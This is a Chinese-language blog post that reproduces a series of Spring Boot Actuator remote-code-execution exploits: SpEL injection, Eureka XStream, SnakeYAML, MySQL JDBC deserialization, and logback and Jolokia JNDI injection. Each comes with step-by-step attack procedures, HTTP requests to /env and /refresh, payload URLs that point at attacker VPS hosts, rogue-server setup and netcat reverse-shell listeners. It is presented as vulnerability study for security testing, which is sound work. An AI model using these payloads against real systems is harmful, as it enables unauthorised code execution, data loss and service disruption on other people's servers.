Spring Boot Actuator 漏洞复现合集
前言
Spring Boot Actuator 未授权访问漏洞在日常的测试中还是能碰到一些的,这种未授权在某些情况下是可以达到RCE的效果的,所以还有有一定价值的,下面就是对这一系列漏洞复现。
基本上就是参考这篇文章的做的复现:
LandGrey/SpringBootVulExploit: SpringBoot 相关漏洞学习资料,利用方法和技巧合集,黑盒安全评估 check list (github.com)
Spring Boot Actuator简介
Spring Boot Actuator端点通过 JMX 和HTTP 公开暴露给外界访问,大多数时候我们使用基于HTTP的Actuator端点,因为它们很容易通过浏览器、CURL命令、shell脚本等方式访问。
一些有用的执行器端点是:
Spring Boot Actuator未授权访问
1 | /dump - 显示线程转储(包括堆栈跟踪) |
- Spring Boot Actuator 1.x 版本默认内置路由的起始路径为
/
,2.x 版本则统一以/actuator
为起始路径 - Spring Boot Actuator 默认的内置路由名字,如
/env
有时候也会被程序员修改,比如修改成/appenv
whitelabel error page SpEL RCE
1 影响版本:
- 影响版本:
1.1.0-1.1.12
1.2.0-1.2.7
1.3.0
2 漏洞原理:
- 利用条件是使用了springboot的默认错误页(Whitelabel Error Page)
spring boot 处理参数值出错,流程进入
org.springframework.util.PropertyPlaceholderHelper
类中此时 URL 中的参数值会用
parseStringValue
方法进行递归解析其中
${}
包围的内容都会被org.springframework.boot.autoconfigure.web.ErrorMvcAutoConfiguration
类的resolvePlaceholder
方法当作 SpEL 表达式被解析执行,造成 RCE 漏洞
3 验证检测方法:
步骤一:找到一个正常传参处
比如发现访问 /article
,页面会报状态码为 500 的错误: Whitelabel Error Page
步骤二:执行 SpEL 表达式
输入 /article?id=${7*7}
,如果发现报错页面将 7*7 的值 49 计算出来显示在报错页面上,那么基本可以确定目标存在 SpEL 表达式注入漏洞。
4 利用方法:
由字符串格式转换成 0x**
java 字节形式,方便执行任意代码:
1 | # author: Zeo |
正常访问:
1 | http://127.0.0.1:9091/article?id=66 |
执行 open \-a Calculator
命令:
1 | http://127.0.0.1:8080/article?id=${T(java.lang.Runtime).getRuntime().exec(new%20String(new%20byte[]{0x6f,0x70,0x65,0x6e,0x20,0x2d,0x61,0x20,0x43,0x61,0x6c,0x63,0x75,0x6c,0x61,0x74,0x6f,0x72}))} |
漏洞环境搭建:
https://github.com/LandGrey/SpringBootVulExploit/tree/master/repository/springboot-spel-rce
eureka xstream deserialization RCE
1 利用条件:
- 可以 POST 请求目标网站的
/env
接口设置属性 - 可以 POST 请求目标网站的
/refresh
接口刷新配置(存在spring-boot-starter-actuator
依赖) - 目标使用的
eureka-client
< 1.8.7(通常包含在spring-cloud-starter-netflix-eureka-client
依赖中) - 目标可以请求攻击者的 HTTP 服务器(请求可出外网)
2 漏洞原理:
- eureka.client.serviceUrl.defaultZone 属性被设置为恶意的外部 eureka server URL 地址
- refresh 触发目标机器请求远程 URL,提前架设的 fake eureka server 就会返回恶意的 payload
- 目标机器相关依赖解析 payload,触发 XStream 反序列化,造成 RCE 漏洞
3 漏洞环境:
repository/springboot-eureka-xstream-rce
4 漏洞复现
正常访问:
1 | http://127.0.0.1:9093/env |
发现存在所需的依赖
nc 监听端口,等待反弹 shell
架设响应恶意 XStream payload 的网站
运行恶意脚本,并根据实际情况修改脚本中反弹 shell 的 ip 地址和 端口号
1 | #!/usr/bin/env python |
发送设置 eureka.client.serviceUrl.defaultZone 属性
1 | POST /env HTTP/1.1 |
刷新配置
1 | POST /refresh HTTP/1.1 |
成功反弹shell
5 利用方法:
步骤一:架设响应恶意 XStream payload 的网站
提供一个依赖 Flask 并符合要求的 python 脚本示例,作用是利用目标 Linux 机器上自带的 python 来反弹shell。
使用 python 在自己控制的服务器上运行以上的脚本,并根据实际情况修改脚本中反弹 shell 的 ip 地址和 端口号。
步骤二:监听反弹 shell 的端口
一般使用 nc 监听端口,等待反弹 shell
1 | nc -lvp 443 |
步骤三:设置 eureka.client.serviceUrl.defaultZone 属性
spring 1.x
1 | POST /env |
spring 2.x
1 | POST /actuator/env |
步骤四:刷新配置
spring 1.x
1 | POST /refresh |
spring 2.x
1 | POST /actuator/refresh |
spring cloud SnakeYAML RCE
1 利用条件:
- 可以 POST 请求目标网站的
/env
接口设置属性 - 可以 POST 请求目标网站的
/refresh
接口刷新配置(存在spring-boot-starter-actuator
依赖) - 目标依赖的
spring-cloud-starter
版本 < 1.3.0.RELEASE - 目标可以请求攻击者的 HTTP 服务器(请求可出外网)
2 利用方法:
步骤一: 托管 yml 和 jar 文件
在自己控制的 vps 机器上开启一个简单 HTTP 服务器,端口尽量使用常见 HTTP 服务端口(80、443)
1 | # 使用 python 快速开启 http server |
在网站根目录下放置后缀为 yml
的文件 example.yml
,内容如下:
1 | !!javax.script.ScriptEngineManager [ |
在网站根目录下放置后缀为 jar
的文件 example.jar
,内容是要执行的代码,
代码编写及编译方式参考 (https://github.com/artsploit/yaml-payload\)。
AwesomeScriptEngineFactory.java
1 | package artsploit; |
打包命令
1 | javac src/artsploit/AwesomeScriptEngineFactory.java |
打包完成
步骤二: 设置 spring.cloud.bootstrap.location 属性
spring 1.x
1 | POST /env |
spring 2.x
1 | POST /actuator/env |
步骤三: 刷新配置
spring 1.x
1 | POST /refresh |
spring 2.x
1 | POST /actuator/refresh |
3 漏洞原理:
- spring.cloud.bootstrap.location 属性被设置为外部恶意 yml 文件 URL 地址
- refresh 触发目标机器请求远程 HTTP 服务器上的 yml 文件,获得其内容
- SnakeYAML 由于存在反序列化漏洞,所以解析恶意 yml 内容时会完成指定的动作
- 先是触发 java.net.URL 去拉取远程 HTTP 服务器上的恶意 jar 文件
- 然后是寻找 jar 文件中实现 javax.script.ScriptEngineFactory 接口的类并实例化
- 实例化类时执行恶意代码,造成 RCE 漏洞
4 利用过程分析:
首先简单总结一下利用过程
- 利用
/env
endpoint 修改spring.cloud.bootstrap.location
属性值为一个外部 yml 配置文件 url 地址,如http://127.0.0.1:63712/yaml-payload.yml
- 请求
/refresh
endpoint,触发程序下载外部 yml 文件,并由 SnakeYAML 库进行解析,因 SnakeYAML 在反序列化时支持指定 class 类型和构造方法的参数,结合 JDK 自带的javax.script.ScriptEngineManager
类,可实现加载远程 jar 包,完成任意代码执行
从过程中我们知道,命令执行是由于 SnakeYAML 在解析 YAML 文件时,存在反序列化漏洞导致的,来看一个使用 SnakeYAML 库反序列化的例子
1 | @Test |
SnakeYAML 支持 !!
+ 完整类名的方式来指定要反序列化的类,然后以 [arg1, arg2, ...]
的方式来传递构造方法参数,例子中的代码执行完后会出反序列化一个 java.net.URL
类的实例
再来看一下文章给出的外部 yml 文件 yaml-payload.yml
的内容
1 | !!javax.script.ScriptEngineManager [ |
SnakeYAML 处理上述内容的过程可以等价于以下 java 代码
1 | URL url = new URL("http://127.0.0.1:63712/yaml-payload.jar"); |
代码执行后,会从 http://127.0.0.1:63712/yaml-payload.jar
地址下载 jar 包,并在包中寻找一个 javax.script.ScriptEngineFactory
接口的实现类,然后实例化,因为这个 jar 包代码是可控的,因此可执行任意代码
5 漏洞环境:
repository/springcloud-snakeyaml-rce
正常访问:
1 | http://127.0.0.1:9092/env |
springboot mysql jdbc deserialization RCE
1 利用条件:
- 可以 POST 请求目标网站的
/env
接口设置属性 - 可以 POST 请求目标网站的
/refresh
接口刷新配置(存在spring-boot-starter-actuator
依赖) - 目标环境中存在
mysql-connector-java
依赖 - 目标可以请求攻击者的服务器(请求可出外网)
2 漏洞原理:
- spring.datasource.url 属性被设置为外部恶意 mysql jdbc url 地址
- refresh 刷新后设置了一个新的 spring.datasource.url 属性值
- 当网站进行数据库查询等操作时,会尝试使用恶意 mysql jdbc url 建立新的数据库连接
- 然后恶意 mysql server 就会在建立连接的合适阶段返回反序列化 payload 数据
- 目标依赖的 mysql-connector-java 就会反序列化设置好的 gadget,造成 RCE 漏洞
3 利用过程
步骤一:查看环境依赖
GET 请求 /env
或 /actuator/env
,搜索环境变量(classpath)中是否有 mysql-connector-java
关键词,并记录下其版本号(5.x 或 8.x);
搜索并观察环境变量中是否存在常见的反序列化 gadget 依赖,比如 commons-collections
、Jdk7u21
、Jdk8u20
等;
搜索 spring.datasource.url
关键词,记录下其 value
值,方便后续恢复其正常 jdbc url 值。
步骤二:架设恶意 rogue mysql server
在自己控制的服务器上运行 springboot-jdbc-deserialization-rce.py 脚本,并使用 ysoserial 自定义要执行的命令:
1 | java -jar ysoserial.jar CommonsCollections3 calc > payload.ser |
在脚本同目录下生成 payload.ser
反序列化 payload 文件,供脚本使用。
步骤三:设置 spring.datasource.url 属性
⚠️ 修改此属性会暂时导致网站所有的正常数据库服务不可用,会对业务造成影响,请谨慎操作!
mysql-connector-java 5.x 版本设置属性值为:
1 | jdbc:mysql://your-vps-ip:3306/mysql?characterEncoding=utf8&useSSL=false&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true |
mysql-connector-java 8.x 版本设置属性值为:
1 | jdbc:mysql://your-vps-ip:3306/mysql?characterEncoding=utf8&useSSL=false&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true |
spring 1.x
1 | POST /env |
spring 2.x
1 | POST /actuator/env |
步骤四:刷新配置
spring 1.x
1 | POST /refresh |
spring 2.x
1 | POST /actuator/refresh |
步骤五:触发数据库查询
尝试访问网站已知的数据库查询的接口,例如: /product/list
,或者寻找其他方式,主动触发源网站进行数据库查询,然后漏洞会被触发
1 | 访问http://127.0.0.1:9097//product/list |
步骤六:恢复正常 jdbc url
反序列化漏洞利用完成后,使用 步骤三 的方法恢复 步骤一 中记录的 spring.datasource.url
的原始 value
值
restart logging.config logback JNDI RCE
1 利用条件:
- 可以 POST 请求目标网站的
/env
接口设置属性 - 可以 POST 请求目标网站的
/restart
接口重启应用 - 普通 JNDI 注入受目标 JDK 版本影响,jdk < 6u201/7u191/8u182/11.0.1(LDAP),但相关环境可绕过
- ⚠️ 目标可以请求攻击者的 HTTP 服务器(请求可出外网),否则 restart 会导致程序异常退出
- ⚠️ HTTP 服务器如果返回含有畸形 xml 语法内容的文件,会导致程序异常退出
- ⚠️ JNDI 服务返回的 object 需要实现
javax.naming.spi.ObjectFactory
接口,否则会导致程序异常退出
2 利用方法:
步骤零:找到目标网站
发现spring actuator
目前主要有两个差别比较大的版本,1.x 和 2.x 版本。从路由角度看,2.x 版本的路由名一般比 1.x 版本路由名字前多了个 /actuator
前缀。本文涉及到的相关漏洞原理经过测试与 spring actuator
大版本的相关度差别不大,下文统一用 2.x
步骤一:托管 xml 文件
在自己控制的 vps 机器上开启一个简单 HTTP 服务器,端口尽量使用常见 HTTP 服务端口(80、443)
1 | # 使用 python 快速开启 http server |
在根目录放置以 xml
结尾的 example.xml
文件,实际内容要根据步骤二中使用的 JNDI 服务来确定:
1 | <configuration> |
步骤二:托管恶意 ldap 服务及代码
修改 JNDIExploit 并启动(也可以使用其他工具):
https://github.com/feihong-cs/JNDIExploit
1 | java -jar JNDIExploit-1.0-SNAPSHOT.jar -i 110.xx.xx.110 |
步骤三:设置 logging.config 属性
spring 1.x
1 | POST /env |
spring 2.x
1 | POST /actuator/env |
步骤四:重启应用
spring 1.x
1 | POST /restart |
spring 2.x
1 | POST /actuator/restart |
4 漏洞原理:
- 目标机器通过 logging.config 属性设置 logback 日志配置文件 URL 地址
- restart 重启应用后,程序会请求 URL 地址获得恶意 xml 文件内容
- 目标机器使用 saxParser.parse 解析 xml 文件 (这里导致了 xxe 漏洞)
- xml 文件中利用
logback
依赖的insertFormJNDI
标签,设置了外部 JNDI 服务器地址 - 目标机器请求恶意 JNDI 服务器,导致 JNDI 注入,造成 RCE 漏洞
Springboot jolokia Realm JNDI RCE
1 正常访问:
1 | http://127.0.0.1:9094/env |
2 利用条件:
- 目标网站存在
/jolokia
或/actuator/jolokia
接口 - 目标使用了
jolokia-core
依赖(版本要求暂未知)并且环境中存在相关 MBean - 目标可以请求攻击者的服务器(请求可出外网)
- 普通 JNDI 注入受目标 JDK 版本影响,jdk < 6u141/7u131/8u121(RMI),但相关环境可绕过
3 利用方法:
步骤一:查看已存在的 MBeans
访问 /jolokia/list
接口,查看是否存在 type=MBeanFactory
和 createJNDIRealm
关键词。
步骤二:准备要执行的 Java 代码
编写优化过后的用来反弹 shell 的Java 示例代码 JNDIObject.java
。
把 JNDIObject.java 编译成 class文件
1 | javac -source 1.5 -target 1.5 /Users/zy/Desktop/JNDIObject.java |
修改反弹shell的字段
1 | String ip = "110.110.110.110"; |
代码:
1 | /** |
步骤三:托管 class 文件
在自己控制的 vps 机器上开启一个简单 HTTP 服务器,端口尽量使用常见 HTTP 服务端口(80、443)
1 | # 使用 python 快速开启 http server |
将步骤二中编译好的 class 文件拷贝到 HTTP 服务器根目录。
步骤四:架设恶意 rmi 服务
下载 marshalsechttps://github.com/mbechler/marshalsec,使用下面命令架设对应的 rmi 服务:
1 | java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://110.110.110.110:88/#JNDIObject 1389 |
步骤五:监听反弹 shell 的端口
一般使用 nc 监听端口,等待反弹 shell
1 | nc -lvp 4443 |
步骤六:发送恶意 payload
根据实际情况修改脚本中的目标地址,RMI 地址、端口等信息,然后在自己控制的服务器上运行。
1 | 需要修改的地方 |
代码:springboot-realm-jndi-rce.py
1 | import requests |
运行python文件
RMI服务收到请求
VPS接收到反弹的shell
4 漏洞原理:
- 利用 jolokia 调用 createJNDIRealm 创建 JNDIRealm
- 设置 connectionURL 地址为 RMI Service URL
- 设置 contextFactory 为 RegistryContextFactory
- 停止 Realm
- 启动 Realm 以触发指定 RMI 地址的 JNDI 注入,造成 RCE 漏洞
Springboot jolokia logback JNDI RCE
1 漏洞环境,正常访问:
1 | http://127.0.0.1:9094/env |
2 利用条件:
目标网站存在
/jolokia
或/actuator/jolokia
接口目标使用了
jolokia-core
依赖(版本要求暂未知)并且环境中存在相关 MBean目标可以请求攻击者的 HTTP 服务器(请求可出外网)
- 普通 JNDI 注入受目标 JDK 版本影响,jdk < 6u201/7u191/8u182/11.0.1(LDAP),但相关环境可绕过
1 | http://127.0.0.1:9094/jolokia |
3 利用方法:
步骤一:查看已存在的 MBeans
访问 /jolokia/list
接口,查看是否存在 ch.qos.logback.classic.jmx.JMXConfigurator
和 reloadByURL
关键词。
步骤二:托管 xml 文件
在自己控制的 vps 机器上开启一个简单 HTTP 服务器,端口尽量使用常见 HTTP 服务端口(80、443)
1 | # 使用 python 快速开启 http server |
在根目录放置以 xml
结尾的 example.xml
文件,内容如下:
1 | <configuration> |
步骤三:架设恶意 ldap 服务
下载 JNDIExploit,使用下面命令架设对应的 ldap 服务:
1 | java -jar JNDIExploit-1.3-SNAPSHOT.jar |
步骤四:从外部 URL 地址加载日志配置文件
替换实际的 your-vps-ip 地址访问 URL 触发漏洞:
1 | 注意payload种URL |
PAYLOAD
1 | /jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/your-vps-ip!/example.xml |
HTTP请求收到请求
JNDI收到请求
成功命令执行
⚠️ 如果目标成功请求了example.xml 并且 marshalsec 也接收到了目标请求,但是目标没有请求 JNDIObject.class,大概率是因为目标环境的 jdk 版本太高,导致 JNDI 利用失败。
4 漏洞原理:
- 直接访问可触发漏洞的 URL,相当于通过 jolokia 调用
ch.qos.logback.classic.jmx.JMXConfigurator
类的reloadByURL
方法 - 目标机器请求外部日志配置文件 URL 地址,获得恶意 xml 文件内容
- 目标机器使用 saxParser.parse 解析 xml 文件 (这里导致了 xxe 漏洞)
- xml 文件中利用
logback
依赖的insertFormJNDI
标签,设置了外部 JNDI 服务器地址 - 目标机器请求恶意 JNDI 服务器,导致 JNDI 注入,造成 RCE 漏洞
Spring Boot Actuator 漏洞复现合集.md